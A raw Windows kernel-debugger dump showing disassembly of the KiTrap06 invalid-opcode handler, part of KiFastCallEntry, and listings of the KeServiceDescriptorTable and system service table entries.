81b74ade 0f23c9          mov     dr1,ecx

81b74ae1 8b9ffc020000    mov     ebx,dword ptr [edi+2FCh]

81b74ae7 8b8f00030000    mov     ecx,dword ptr [edi+300h]

81b74aed 0f23d3          mov     dr2,ebx

81b74af0 0f23d9          mov     dr3,ecx

81b74af3 8b9f04030000    mov     ebx,dword ptr [edi+304h]

81b74af9 8b8f08030000    mov     ecx,dword ptr [edi+308h]

81b74aff 0f23f3          mov     dr6,ebx

81b74b02 0f23f9          mov     dr7,ecx

81b74b05 f7457000000200  test    dword ptr [ebp+70h],20000h

81b74b0c 7405            je      nt!Dr_kit6_a+0x87 (81b74b13)



nt!Dr_kit6_a+0x82:

81b74b0e e954040000      jmp     nt!KiTrap06+0x423 (81b74f67)



nt!Dr_kit6_a+0x87:

81b74b13 e9ea050000      jmp     nt!KiTrap06+0x5be (81b75102)



nt!V86_kit6_a:

81b74b18 8b8584000000    mov     eax,dword ptr [ebp+84h]

81b74b1e 8b9d88000000    mov     ebx,dword ptr [ebp+88h]

81b74b24 8b4d7c          mov     ecx,dword ptr [ebp+7Ch]

81b74b27 8b9580000000    mov     edx,dword ptr [ebp+80h]

81b74b2d 66894550        mov     word ptr [ebp+50h],ax

81b74b31 66895d2c        mov     word ptr [ebp+2Ch],bx

81b74b35 66894d30        mov     word ptr [ebp+30h],cx

81b74b39 66895534        mov     word ptr [ebp+34h],dx

81b74b3d e9aa050000      jmp     nt!KiTrap06+0x5a8 (81b750ec)



nt!KiTrap06:

81b74b44 f644240a02      test    byte ptr [esp+0Ah],2

81b74b49 0f8421050000    je      nt!KiTrap06+0x52c (81b75070)



nt!KiTrap06+0xb:

81b74b4f 60              pushad

81b74b50 b823000000      mov     eax,23h

81b74b55 8ed8            mov     ds,ax

81b74b57 8ec0            mov     es,ax

81b74b59 b830000000      mov     eax,30h

81b74b5e 8ee0            mov     fs,ax

81b74b60 668b442424      mov     ax,word ptr [esp+24h]

81b74b65 c1e004          shl     eax,4

81b74b68 81642420ffff0000 and     dword ptr [esp+20h],0FFFFh

81b74b70 03442420        add     eax,dword ptr [esp+20h]

81b74b74 64c70554000000c24eb781 mov dword ptr fs:[54h],offset nt!KiTrap06+0x37e (81b74ec2)

81b74b7f 8b10            mov     edx,dword ptr [eax]

81b74b81 81fac4c45042    cmp     edx,4250C4C4h

81b74b87 0f84f5010000    je      nt!KiTrap06+0x23e (81b74d82)



nt!KiTrap06+0x49:

81b74b8d 81fac4c45043    cmp     edx,4350C4C4h

81b74b93 0f84e9010000    je      nt!KiTrap06+0x23e (81b74d82)



nt!KiTrap06+0x55:

81b74b99 6681fac4c4      cmp     dx,0C4C4h

81b74b9e 0f8513030000    jne     nt!KiTrap06+0x373 (81b74eb7)



nt!KiTrap06+0x60:

81b74ba4 64a118000000    mov     eax,dword ptr fs:[00000018h]

81b74baa c1ea10          shr     edx,10h

81b74bad 8b80180f0000    mov     eax,dword ptr [eax+0F18h]

81b74bb3 3b05045dca81    cmp     eax,dword ptr [nt!MmUserProbeAddress (81ca5d04)]

81b74bb9 0f83f8020000    jae     nt!KiTrap06+0x373 (81b74eb7)



nt!KiTrap06+0x7b:

81b74bbf 81e2ff000000    and     edx,0FFh

81b74bc5 c780a805000004000000 mov dword ptr [eax+5A8h],4

81b74bcf 8990b0050000    mov     dword ptr [eax+5B0h],edx

81b74bd5 c780ac05000003000000 mov dword ptr [eax+5ACh],3

81b74bdf 8d80d8020000    lea     eax,[eax+2D8h]

81b74be5 8b542414        mov     edx,dword ptr [esp+14h]

81b74be9 3b05045dca81    cmp     eax,dword ptr [nt!MmUserProbeAddress (81ca5d04)]

81b74bef 0f83c2020000    jae     nt!KiTrap06+0x373 (81b74eb7)



nt!KiTrap06+0xb1:

81b74bf5 8988ac000000    mov     dword ptr [eax+0ACh],ecx

81b74bfb 8998a4000000    mov     dword ptr [eax+0A4h],ebx

81b74c01 89b0a0000000    mov     dword ptr [eax+0A0h],esi

81b74c07 89b89c000000    mov     dword ptr [eax+9Ch],edi

81b74c0d 8b4c241c        mov     ecx,dword ptr [esp+1Ch]

81b74c11 89a8b4000000    mov     dword ptr [eax+0B4h],ebp

81b74c17 8990a8000000    mov     dword ptr [eax+0A8h],edx

81b74c1d 8988b0000000    mov     dword ptr [eax+0B0h],ecx

81b74c23 8b5c2420        mov     ebx,dword ptr [esp+20h]

81b74c27 8b4c2424        mov     ecx,dword ptr [esp+24h]

81b74c2b 8b74242c        mov     esi,dword ptr [esp+2Ch]

81b74c2f 8b7c2430        mov     edi,dword ptr [esp+30h]

81b74c33 8b542428        mov     edx,dword ptr [esp+28h]

81b74c37 8998b8000000    mov     dword ptr [eax+0B8h],ebx

81b74c3d 81e6ffff0000    and     esi,0FFFFh

81b74c43 8988bc000000    mov     dword ptr [eax+0BCh],ecx

81b74c49 89b0c4000000    mov     dword ptr [eax+0C4h],esi

81b74c4f 89b8c8000000    mov     dword ptr [eax+0C8h],edi

81b74c55 f70500c6c68101000000 test dword ptr [nt!KeI386VirtualIntExtensions (81c6c600)],1

81b74c5f 7410            je      nt!KiTrap06+0x12d (81b74c71)



nt!KiTrap06+0x11d:

81b74c61 f7c200000800    test    edx,80000h

81b74c67 751a            jne     nt!KiTrap06+0x13f (81b74c83)



nt!KiTrap06+0x125:

81b74c69 81e2fffdffff    and     edx,0FFFFFDFFh

81b74c6f eb12            jmp     nt!KiTrap06+0x13f (81b74c83)



nt!KiTrap06+0x12d:

81b74c71 f7051407000000020000 test dword ptr ds:[714h],200h

81b74c7b 7506            jne     nt!KiTrap06+0x13f (81b74c83)



nt!KiTrap06+0x139:

81b74c7d 81e2fffdffff    and     edx,0FFFFFDFFh



nt!KiTrap06+0x13f:

81b74c83 8990c0000000    mov     dword ptr [eax+0C0h],edx

81b74c89 8b5c2438        mov     ebx,dword ptr [esp+38h]

81b74c8d 8b4c2434        mov     ecx,dword ptr [esp+34h]

81b74c91 8b54243c        mov     edx,dword ptr [esp+3Ch]

81b74c95 8b742440        mov     esi,dword ptr [esp+40h]

81b74c99 899898000000    mov     dword ptr [eax+98h],ebx

81b74c9f 898894000000    mov     dword ptr [eax+94h],ecx

81b74ca5 899090000000    mov     dword ptr [eax+90h],edx

81b74cab 89b08c000000    mov     dword ptr [eax+8Ch],esi

81b74cb1 0534fdffff      add     eax,0FFFFFD34h

81b74cb6 8b98a4000000    mov     ebx,dword ptr [eax+0A4h]

81b74cbc 8bb0a0000000    mov     esi,dword ptr [eax+0A0h]

81b74cc2 8bb89c000000    mov     edi,dword ptr [eax+9Ch]

81b74cc8 8ba8b4000000    mov     ebp,dword ptr [eax+0B4h]

81b74cce 8b90e4000000    mov     edx,dword ptr [eax+0E4h]

81b74cd4 53              push    ebx

81b74cd5 56              push    esi

81b74cd6 57              push    edi

81b74cd7 55              push    ebp

81b74cd8 52              push    edx

81b74cd9 64c70554000000ca4eb781 mov dword ptr fs:[54h],offset nt!KiTrap06+0x386 (81b74eca)

81b74ce4 8b98c8000000    mov     ebx,dword ptr [eax+0C8h]

81b74cea 8bb0c4000000    mov     esi,dword ptr [eax+0C4h]

81b74cf0 8bb8c0000000    mov     edi,dword ptr [eax+0C0h]

81b74cf6 8b90bc000000    mov     edx,dword ptr [eax+0BCh]

81b74cfc 8b88b8000000    mov     ecx,dword ptr [eax+0B8h]

81b74d02 64c7055400000000000000 mov dword ptr fs:[54h],0

81b74d0d 81e7d74d3f00    and     edi,3F4DD7h

81b74d13 81cf00020000    or      edi,200h

81b74d19 895c2444        mov     dword ptr [esp+44h],ebx

81b74d1d 89742440        mov     dword ptr [esp+40h],esi

81b74d21 897c243c        mov     dword ptr [esp+3Ch],edi

81b74d25 f7c700000200    test    edi,20000h

81b74d2b 750d            jne     nt!KiTrap06+0x1f6 (81b74d3a)



nt!KiTrap06+0x1e9:

81b74d2d 83ca03          or      edx,3

81b74d30 83fa08          cmp     edx,8

81b74d33 7d05            jge     nt!KiTrap06+0x1f6 (81b74d3a)



nt!KiTrap06+0x1f1:

81b74d35 ba1b000000      mov     edx,1Bh



nt!KiTrap06+0x1f6:

81b74d3a 89542438        mov     dword ptr [esp+38h],edx

81b74d3e 894c2434        mov     dword ptr [esp+34h],ecx

81b74d42 8b2d005cca81    mov     ebp,dword ptr [nt!KiMxCsrMask (81ca5c00)]

81b74d48 212c24          and     dword ptr [esp],ebp

81b74d4b 0fae1424        ldmxcsr dword ptr [esp]

81b74d4f 83c404          add     esp,4

81b74d52 5d              pop     ebp

81b74d53 5f              pop     edi

81b74d54 5e              pop     esi

81b74d55 5b              pop     ebx

81b74d56 83c420          add     esp,20h

81b74d59 648b0d24010000  mov     ecx,dword ptr fs:[124h]

81b74d60 8b4920          mov     ecx,dword ptr [ecx+20h]

81b74d63 648b1540000000  mov     edx,dword ptr fs:[40h]

81b74d6a f644240a02      test    byte ptr [esp+0Ah],2

81b74d6f 7503            jne     nt!KiTrap06+0x230 (81b74d74)



nt!KiTrap06+0x22d:

81b74d71 83e910          sub     ecx,10h



nt!KiTrap06+0x230:

81b74d74 33c0            xor     eax,eax

81b74d76 894a04          mov     dword ptr [edx+4],ecx

81b74d79 ba3b000000      mov     edx,3Bh

81b74d7e 668ee2          mov     fs,dx

81b74d81 cf              iretd



nt!KiTrap06+0x23e:

81b74d82 64c7055400000000000000 mov dword ptr fs:[54h],0

81b74d8d 33c0            xor     eax,eax

81b74d8f 8b542414        mov     edx,dword ptr [esp+14h]

81b74d93 83c41c          add     esp,1Ch

81b74d96 870424          xchg    eax,dword ptr [esp]

81b74d99 83ec64          sub     esp,64h

81b74d9c 895c245c        mov     dword ptr [esp+5Ch],ebx

81b74da0 89442440        mov     dword ptr [esp+40h],eax

81b74da4 896c2460        mov     dword ptr [esp+60h],ebp

81b74da8 89742458        mov     dword ptr [esp+58h],esi

81b74dac 897c2454        mov     dword ptr [esp+54h],edi

81b74db0 894c243c        mov     dword ptr [esp+3Ch],ecx

81b74db4 89542438        mov     dword ptr [esp+38h],edx

81b74db8 c644240f01      mov     byte ptr [esp+0Fh],1

81b74dbd 648b3d00000000  mov     edi,dword ptr fs:[0]

81b74dc4 897c244c        mov     dword ptr [esp+4Ch],edi

81b74dc8 648b1d24010000  mov     ebx,dword ptr fs:[124h]

81b74dcf 8364242800      and     dword ptr [esp+28h],0

81b74dd4 f64303df        test    byte ptr [ebx+3],0DFh

81b74dd8 8bec            mov     ebp,esp

81b74dda fc              cld

81b74ddb 7466            je      nt!KiTrap06+0x2ff (81b74e43)



nt!KiTrap06+0x299:

81b74ddd 0f21c3          mov     ebx,dr0

81b74de0 0f21ce          mov     esi,dr1

81b74de3 0f21d7          mov     edi,dr2

81b74de6 895d14          mov     dword ptr [ebp+14h],ebx

81b74de9 897518          mov     dword ptr [ebp+18h],esi

81b74dec 897d1c          mov     dword ptr [ebp+1Ch],edi

81b74def 0f21db          mov     ebx,dr3

81b74df2 0f21f6          mov     esi,dr6

81b74df5 0f21ff          mov     edi,dr7

81b74df8 895d20          mov     dword ptr [ebp+20h],ebx

81b74dfb 33db            xor     ebx,ebx

81b74dfd 897524          mov     dword ptr [ebp+24h],esi

81b74e00 897d28          mov     dword ptr [ebp+28h],edi

81b74e03 0f23fb          mov     dr7,ebx

81b74e06 648b3d20000000  mov     edi,dword ptr fs:[20h]

81b74e0d 8b9ff4020000    mov     ebx,dword ptr [edi+2F4h]

81b74e13 8bb7f8020000    mov     esi,dword ptr [edi+2F8h]

81b74e19 0f23c3          mov     dr0,ebx

81b74e1c 0f23ce          mov     dr1,esi

81b74e1f 8b9ffc020000    mov     ebx,dword ptr [edi+2FCh]

81b74e25 8bb700030000    mov     esi,dword ptr [edi+300h]

81b74e2b 0f23d3          mov     dr2,ebx

81b74e2e 0f23de          mov     dr3,esi

81b74e31 8b9f04030000    mov     ebx,dword ptr [edi+304h]

81b74e37 8bb708030000    mov     esi,dword ptr [edi+308h]

81b74e3d 0f23f3          mov     dr6,ebx

81b74e40 0f23fe          mov     dr7,esi



nt!KiTrap06+0x2ff:

81b74e43 0fae5d48        stmxcsr dword ptr [ebp+48h]

81b74e47 640fae1508000000 ldmxcsr dword ptr fs:[8]

81b74e4f 81ec80000000    sub     esp,80h

81b74e55 83e4f0          and     esp,0FFFFFFF0h

81b74e58 8bfc            mov     edi,esp

81b74e5a 0f2907          movaps  xmmword ptr [edi],xmm0

81b74e5d 0f294f10        movaps  xmmword ptr [edi+10h],xmm1

81b74e61 0f295720        movaps  xmmword ptr [edi+20h],xmm2

81b74e65 0f295f30        movaps  xmmword ptr [edi+30h],xmm3

81b74e69 0f296740        movaps  xmmword ptr [edi+40h],xmm4

81b74e6d 0f296f50        movaps  xmmword ptr [edi+50h],xmm5

81b74e71 0f297760        movaps  xmmword ptr [edi+60h],xmm6

81b74e75 0f297f70        movaps  xmmword ptr [edi+70h],xmm7

81b74e79 0fb7556c        movzx   edx,word ptr [ebp+6Ch]

81b74e7d c1e204          shl     edx,4

81b74e80 33db            xor     ebx,ebx

81b74e82 035568          add     edx,dword ptr [ebp+68h]

81b74e85 64c70554000000c54eb781 mov dword ptr fs:[54h],offset nt!KiTrap06+0x381 (81b74ec5)

81b74e90 8a5a03          mov     bl,byte ptr [edx+3]

81b74e93 64c7055400000000000000 mov dword ptr fs:[54h],0

81b74e9e b901000000      mov     ecx,1

81b74ea3 ff150461c981    call    dword ptr [nt!_imp_KfRaiseIrql (81c96104)]

81b74ea9 50              push    eax

81b74eaa fb              sti

81b74eab 53              push    ebx

81b74eac 55              push    ebp

81b74ead e8ef7c3800      call    nt!NTFastDOSIO (81efcba1)

81b74eb2 e9f8000000      jmp     nt!KiTrap06+0x46b (81b74faf)



nt!KiTrap06+0x373:

81b74eb7 64c7055400000000000000 mov dword ptr fs:[54h],0

81b74ec2 61              popad

81b74ec3 eb0b            jmp     nt!KiTrap06+0x38c (81b74ed0)



nt!KiTrap06+0x38c:

81b74ed0 6a00            push    0

81b74ed2 83ec64          sub     esp,64h

81b74ed5 66c74424660000  mov     word ptr [esp+66h],0

81b74edc 895c245c        mov     dword ptr [esp+5Ch],ebx

81b74ee0 89442440        mov     dword ptr [esp+40h],eax

81b74ee4 896c2460        mov     dword ptr [esp+60h],ebp

81b74ee8 89742458        mov     dword ptr [esp+58h],esi

81b74eec 897c2454        mov     dword ptr [esp+54h],edi

81b74ef0 894c243c        mov     dword ptr [esp+3Ch],ecx

81b74ef4 89542438        mov     dword ptr [esp+38h],edx

81b74ef8 c644240f01      mov     byte ptr [esp+0Fh],1

81b74efd 8bec            mov     ebp,esp

81b74eff c74508000ddbba  mov     dword ptr [ebp+8],0BADB0D00h

81b74f06 bb30000000      mov     ebx,30h

81b74f0b b823000000      mov     eax,23h

81b74f10 8ee3            mov     fs,bx

81b74f12 8ed8            mov     ds,ax

81b74f14 8ec0            mov     es,ax

81b74f16 0fae5d48        stmxcsr dword ptr [ebp+48h]

81b74f1a 640fae1508000000 ldmxcsr dword ptr fs:[8]

81b74f22 81ec80000000    sub     esp,80h

81b74f28 83e4f0          and     esp,0FFFFFFF0h

81b74f2b 8bf4            mov     esi,esp

81b74f2d 0f2906          movaps  xmmword ptr [esi],xmm0

81b74f30 0f294e10        movaps  xmmword ptr [esi+10h],xmm1

81b74f34 0f295620        movaps  xmmword ptr [esi+20h],xmm2

81b74f38 0f295e30        movaps  xmmword ptr [esi+30h],xmm3

81b74f3c 0f296640        movaps  xmmword ptr [esi+40h],xmm4

81b74f40 0f296e50        movaps  xmmword ptr [esi+50h],xmm5

81b74f44 0f297660        movaps  xmmword ptr [esi+60h],xmm6

81b74f48 0f297e70        movaps  xmmword ptr [esi+70h],xmm7

81b74f4c 64a100000000    mov     eax,dword ptr fs:[00000000h]

81b74f52 89454c          mov     dword ptr [ebp+4Ch],eax

81b74f55 0f21f8          mov     eax,dr7

81b74f58 fc              cld

81b74f59 a9ff23ffff      test    eax,0FFFF23FFh

81b74f5e 894528          mov     dword ptr [ebp+28h],eax

81b74f61 0f8525fbffff    jne     nt!Dr_kit6_a (81b74a8c)



nt!KiTrap06+0x423:

81b74f67 648b0d24010000  mov     ecx,dword ptr fs:[124h]

81b74f6e 8b8980000000    mov     ecx,dword ptr [ecx+80h]

81b74f74 83b9b000000000  cmp     dword ptr [ecx+0B0h],0

81b74f7b 0f84ca010000    je      nt!KiTrap06+0x607 (81b7514b)



nt!KiTrap06+0x43d:

81b74f81 b901000000      mov     ecx,1

81b74f86 ff150461c981    call    dword ptr [nt!_imp_KfRaiseIrql (81c96104)]

81b74f8c 50              push    eax

81b74f8d fb              sti

81b74f8e 55              push    ebp

81b74f8f e868783800      call    nt!VdmDispatchBop (81efc7fc)

81b74f94 a80f            test    al,0Fh

81b74f96 7517            jne     nt!KiTrap06+0x46b (81b74faf)



nt!KiTrap06+0x454:

81b74f98 6a06            push    6

81b74f9a e82de13c00      call    nt!Ki386VdmReflectException (81f430cc)

81b74f9f a80f            test    al,0Fh

81b74fa1 750c            jne     nt!KiTrap06+0x46b (81b74faf)



nt!KiTrap06+0x45f:

81b74fa3 59              pop     ecx

81b74fa4 ff150061c981    call    dword ptr [nt!_imp_KfLowerIrql (81c96100)]

81b74faa e99c010000      jmp     nt!KiTrap06+0x607 (81b7514b)



nt!KiTrap06+0x46b:

81b74faf 59              pop     ecx

81b74fb0 ff150061c981    call    dword ptr [nt!_imp_KfLowerIrql (81c96100)]

81b74fb6 fa              cli

81b74fb7 f6457202        test    byte ptr [ebp+72h],2

81b74fbb 0f84aa000000    je      nt!KiTrap06+0x527 (81b7506b)



nt!KiTrap06+0x47d:

81b74fc1 648b1d24010000  mov     ebx,dword ptr fs:[124h]

81b74fc8 c6435600        mov     byte ptr [ebx+56h],0

81b74fcc 80bb8600000000  cmp     byte ptr [ebx+86h],0

81b74fd3 756a            jne     nt!KiTrap06+0x4fb (81b7503f)



nt!KiTrap06+0x491:

81b74fd5 8bfc            mov     edi,esp

81b74fd7 0f2807          movaps  xmm0,xmmword ptr [edi]

81b74fda 0f284f10        movaps  xmm1,xmmword ptr [edi+10h]

81b74fde 0f285720        movaps  xmm2,xmmword ptr [edi+20h]

81b74fe2 0f285f30        movaps  xmm3,xmmword ptr [edi+30h]

81b74fe6 0f286740        movaps  xmm4,xmmword ptr [edi+40h]

81b74fea 0f286f50        movaps  xmm5,xmmword ptr [edi+50h]

81b74fee 0f287760        movaps  xmm6,xmmword ptr [edi+60h]

81b74ff2 0f287f70        movaps  xmm7,xmmword ptr [edi+70h]

81b74ff6 0fae5548        ldmxcsr dword ptr [ebp+48h]

81b74ffa 8d6538          lea     esp,[ebp+38h]

81b74ffd 5a              pop     edx

81b74ffe 59              pop     ecx

81b74fff 58              pop     eax

81b75000 f74528ff23ffff  test    dword ptr [ebp+28h],0FFFF23FFh

81b75007 750b            jne     nt!KiTrap06+0x4d0 (81b75014)



nt!KiTrap06+0x4c5:

81b75009 8d6554          lea     esp,[ebp+54h]

81b7500c 5f              pop     edi

81b7500d 5e              pop     esi

81b7500e 5b              pop     ebx

81b7500f 5d              pop     ebp

81b75010 83c404          add     esp,4

81b75013 cf              iretd



nt!KiTrap06+0x4d0:

81b75014 33db            xor     ebx,ebx

81b75016 8b7514          mov     esi,dword ptr [ebp+14h]

81b75019 8b7d18          mov     edi,dword ptr [ebp+18h]

81b7501c 0f23fb          mov     dr7,ebx

81b7501f 8b5d1c          mov     ebx,dword ptr [ebp+1Ch]

81b75022 0f23c6          mov     dr0,esi

81b75025 0f23cf          mov     dr1,edi

81b75028 0f23d3          mov     dr2,ebx

81b7502b 8b7520          mov     esi,dword ptr [ebp+20h]

81b7502e 8b7d24          mov     edi,dword ptr [ebp+24h]

81b75031 8b5d28          mov     ebx,dword ptr [ebp+28h]

81b75034 0f23de          mov     dr3,esi

81b75037 0f23f7          mov     dr6,edi

81b7503a 0f23fb          mov     dr7,ebx

81b7503d ebca            jmp     nt!KiTrap06+0x4c5 (81b75009)



nt!KiTrap06+0x4fb:

81b7503f b901000000      mov     ecx,1

81b75044 ff150461c981    call    dword ptr [nt!_imp_KfRaiseIrql (81c96104)]

81b7504a 50              push    eax

81b7504b fb              sti

81b7504c 55              push    ebp

81b7504d 6a00            push    0

81b7504f 6a01            push    1

81b75051 e83ab6f6ff      call    nt!KiDeliverApc (81ae0690)

81b75056 59              pop     ecx

81b75057 ff150061c981    call    dword ptr [nt!_imp_KfLowerIrql (81c96100)]

81b7505d fa              cli

81b7505e f7457000000200  test    dword ptr [ebp+70h],20000h

81b75065 0f8556ffffff    jne     nt!KiTrap06+0x47d (81b74fc1)



nt!KiTrap06+0x527:

81b7506b e984ebffff      jmp     nt!KiExceptionExit (81b73bf4)



nt!KiTrap06+0x52c:

81b75070 6a00            push    0

81b75072 66c74424020000  mov     word ptr [esp+2],0

81b75079 55              push    ebp

81b7507a 53              push    ebx

81b7507b 56              push    esi

81b7507c 57              push    edi

81b7507d 0fa0            push    fs

81b7507f bb30000000      mov     ebx,30h

81b75084 8ee3            mov     fs,bx

81b75086 64ff3500000000  push    dword ptr fs:[0]

81b7508d 83ec08          sub     esp,8

81b75090 50              push    eax

81b75091 51              push    ecx

81b75092 52              push    edx

81b75093 1e              push    ds

81b75094 06              push    es

81b75095 0fa8            push    gs

81b75097 b823000000      mov     eax,23h

81b7509c 83ec2c          sub     esp,2Ch

81b7509f 8ed8            mov     ds,ax

81b750a1 8ec0            mov     es,ax

81b750a3 8bec            mov     ebp,esp

81b750a5 c6450f01        mov     byte ptr [ebp+0Fh],1

81b750a9 0fae5d48        stmxcsr dword ptr [ebp+48h]

81b750ad 640fae1508000000 ldmxcsr dword ptr fs:[8]

81b750b5 81ec80000000    sub     esp,80h

81b750bb 83e4f0          and     esp,0FFFFFFF0h

81b750be 8bf4            mov     esi,esp

81b750c0 0f2906          movaps  xmmword ptr [esi],xmm0

81b750c3 0f294e10        movaps  xmmword ptr [esi+10h],xmm1

81b750c7 0f295620        movaps  xmmword ptr [esi+20h],xmm2

81b750cb 0f295e30        movaps  xmmword ptr [esi+30h],xmm3

81b750cf 0f296640        movaps  xmmword ptr [esi+40h],xmm4

81b750d3 0f296e50        movaps  xmmword ptr [esi+50h],xmm5

81b750d7 0f297660        movaps  xmmword ptr [esi+60h],xmm6

81b750db 0f297e70        movaps  xmmword ptr [esi+70h],xmm7

81b750df f7457000000200  test    dword ptr [ebp+70h],20000h

81b750e6 0f852cfaffff    jne     nt!V86_kit6_a (81b74b18)



nt!KiTrap06+0x5a8:

81b750ec 648b0d24010000  mov     ecx,dword ptr fs:[124h]

81b750f3 fc              cld

81b750f4 83652800        and     dword ptr [ebp+28h],0

81b750f8 f64103df        test    byte ptr [ecx+3],0DFh

81b750fc 0f858af9ffff    jne     nt!Dr_kit6_a (81b74a8c)



nt!KiTrap06+0x5be:

81b75102 8b5d60          mov     ebx,dword ptr [ebp+60h]

81b75105 8b7d68          mov     edi,dword ptr [ebp+68h]

81b75108 c74508000ddbba  mov     dword ptr [ebp+8],0BADB0D00h

81b7510f 895d00          mov     dword ptr [ebp],ebx

81b75112 897d04          mov     dword ptr [ebp+4],edi

81b75115 f6456c01        test    byte ptr [ebp+6Ch],1

81b75119 7427            je      nt!KiTrap06+0x5fe (81b75142)



nt!KiTrap06+0x5d7:

81b7511b 66837d6c1b      cmp     word ptr [ebp+6Ch],1Bh

81b75120 7416            je      nt!KiTrap06+0x5f4 (81b75138)



nt!KiTrap06+0x5de:

81b75122 648b1d24010000  mov     ebx,dword ptr fs:[124h]

81b75129 8b9b80000000    mov     ebx,dword ptr [ebx+80h]

81b7512f 83bbb000000000  cmp     dword ptr [ebx+0B0h],0

81b75136 7526            jne     nt!KiTrap06+0x61a (81b7515e)



nt!KiTrap06+0x5f4:

81b75138 fb              sti

81b75139 b2f0            mov     dl,0F0h

81b7513b e8caecffff      call    nt!KiDispatchTrapException+0x9e (81b73e0a)

81b75140 eb0a            jmp     nt!KiTrap06+0x608 (81b7514c)



nt!KiTrap06+0x5fe:

81b75142 f7457000020000  test    dword ptr [ebp+70h],200h

81b75149 7401            je      nt!KiTrap06+0x608 (81b7514c)



nt!KiTrap06+0x607:

81b7514b fb              sti



nt!KiTrap06+0x608:

81b7514c b81d0000c0      mov     eax,0C000001Dh

81b75151 8b5d68          mov     ebx,dword ptr [ebp+68h]

81b75154 8bfc            mov     edi,esp

81b75156 33c9            xor     ecx,ecx

81b75158 e80fecffff      call    nt!KiDispatchTrapException (81b73d6c)

81b7515d cc              int     3



nt!KiTrap06+0x61a:

81b7515e b901000000      mov     ecx,1

81b75163 ff150461c981    call    dword ptr [nt!_imp_KfRaiseIrql (81c96104)]

81b75169 50              push    eax

81b7516a fb              sti

81b7516b 55              push    ebp

81b7516c e88b763800      call    nt!VdmDispatchBop (81efc7fc)

81b75171 a80f            test    al,0Fh

81b75173 7514            jne     nt!KiTrap06+0x645 (81b75189)



nt!KiTrap06+0x631:

81b75175 6a06            push    6

81b75177 e850df3c00      call    nt!Ki386VdmReflectException (81f430cc)

81b7517c a80f            test    al,0Fh

81b7517e 7509            jne     nt!KiTrap06+0x645 (81b75189)



nt!KiTrap06+0x63c:

81b75180 59              pop     ecx

81b75181 ff150061c981    call    dword ptr [nt!_imp_KfLowerIrql (81c96100)]

81b75187 ebc2            jmp     nt!KiTrap06+0x607 (81b7514b)



nt!KiTrap06+0x645:

81b75189 59              pop     ecx

81b7518a ff150061c981    call    dword ptr [nt!_imp_KfLowerIrql (81c96100)]

81b75190 e95feaffff      jmp     nt!KiExceptionExit (81b73bf4)



----------------------------------------------------------------------------------------------------------

kd> u KiFastCallEntry+0xe6 l20

nt!KiSystemServiceAccessTeb+0x1a:

81b72f86 ff05b0060000    inc     dword ptr ds:[6B0h]

81b72f8c 8bf2            mov     esi,edx

81b72f8e 33c9            xor     ecx,ecx

81b72f90 8b570c          mov     edx,dword ptr [edi+0Ch]

81b72f93 8b3f            mov     edi,dword ptr [edi]

81b72f95 8a0c10          mov     cl,byte ptr [eax+edx]

81b72f98 8b1487          mov     edx,dword ptr [edi+eax*4]

81b72f9b 2be1            sub     esp,ecx

81b72f9d c1e902          shr     ecx,2

81b72fa0 8bfc            mov     edi,esp

81b72fa2 f6457202        test    byte ptr [ebp+72h],2

81b72fa6 7506            jne     nt!KiSystemServiceAccessTeb+0x42 (81b72fae)

81b72fa8 f6456c01        test    byte ptr [ebp+6Ch],1

81b72fac 740c            je      nt!KiSystemServiceCopyArguments (81b72fba)

81b72fae 3b35045dca81    cmp     esi,dword ptr [nt!MmUserProbeAddress (81ca5d04)]

81b72fb4 0f832a020000    jae     nt!KiSystemCallExit+0x77 (81b731e4)



----------------------------------------------------------------------------------------------------------

kd> dds KeServiceDescriptorTable

8105fc80  80f1fcec nt!KiServiceTable

8105fc84  00000000

8105fc88  000001b1

8105fc8c  80f203b4 nt!KiArgumentTable

8105fc90  00000000

8105fc94  00000000

8105fc98  00000000

8105fc9c  00000000

8105fca0  a0cf3fff

8105fca4  00000000

8105fca8  ffffffff

8105fcac  80f3247a nt!FinalExceptionHandlerPad42

8105fcb0  06060000

8105fcb4  00000000

8105fcb8  00000000

8105fcbc  00000000

8105fcc0  00000001

8105fcc4  00000000

8105fcc8  00000000

8105fccc  00000000

8105fcd0  406f0d63

8105fcd4  01cfe94a

8105fcd8  8548ee78

8105fcdc  864bd000

8105fce0  85458440

8105fce4  00001000

8105fce8  00010000

8105fcec  7ffeffff

8105fcf0  80000000

8105fcf4  0003ff7d

8105fcf8  0003ffff

8105fcfc  00000000

------------------------------------------------------------------------------------------------

kd> dps KiServiceTable l1b1

80f1fcec  80e76800 nt!NtAccessCheck

80f1fcf0  80eec97c nt!NtWorkerFactoryWorkerReady

80f1fcf4  811649f6 nt!NtAcceptConnectPort

80f1fcf8  80ee5d0c nt!NtYieldExecution

80f1fcfc  8115776c nt!NtWriteVirtualMemory

80f1fd00  8127ec0f nt!NtWriteRequestData

80f1fd04  8115f3d0 nt!NtWriteFileGather

80f1fd08  811188f0 nt!NtWriteFile

80f1fd0c  811b145c nt!NtSetLowEventPair

80f1fd10  811b145c nt!NtSetLowEventPair

80f1fd14  80e9a980 nt!NtWaitForWorkViaWorkerFactory

80f1fd18  810bc170 nt!NtWaitForSingleObject

80f1fd1c  8128a078 nt!NtWaitForMultipleObjects32

80f1fd20  81131270 nt!NtWaitForMultipleObjects

80f1fd24  811695c6 nt!NtWaitForKeyedEvent

80f1fd28  8124f7fd nt!NtWaitForDebugEvent

80f1fd2c  811200f0 nt!NtWaitForAlertByThreadId

80f1fd30  812b5d64 nt!NtVdmControl

80f1fd34  811552e2 nt!NtUnsubscribeWnfStateChange

80f1fd38  810e8cd8 nt!NtUpdateWnfStateData

80f1fd3c  8115c6fa nt!NtUnmapViewOfSection

80f1fd40  810af280 nt!NtUnmapViewOfSectionEx

80f1fd44  80e46bb0 nt!NtUnlockVirtualMemory

80f1fd48  8115cb26 nt!NtUnlockFile

80f1fd4c  811418fc nt!NtUnloadKeyEx

80f1fd50  811864c8 nt!NtUnloadKey2

80f1fd54  811b0f70 nt!NtUnloadKey

80f1fd58  8125c983 nt!NtUnloadDriver

80f1fd5c  8127c4eb nt!NtUmsThreadYield

80f1fd60  812ce364 nt!NtTranslateFilePath

80f1fd64  80ea7bd0 nt!NtTraceEvent

80f1fd68  81128590 nt!NtTraceControl

80f1fd6c  80e3954a nt!NtThawTransactions

80f1fd70  80f8a0b3 nt!NtThawRegistry

80f1fd74  8114e360 nt!NtTestAlert

80f1fd78  8110fb8a nt!NtTerminateThread

80f1fd7c  8110f8ca nt!NtTerminateProcess

80f1fd80  810e3b26 nt!NtTerminateJobObject

80f1fd84  812d01b5 nt!NtSystemDebugControl

80f1fd88  81087fe4 nt!NtSuspendThread

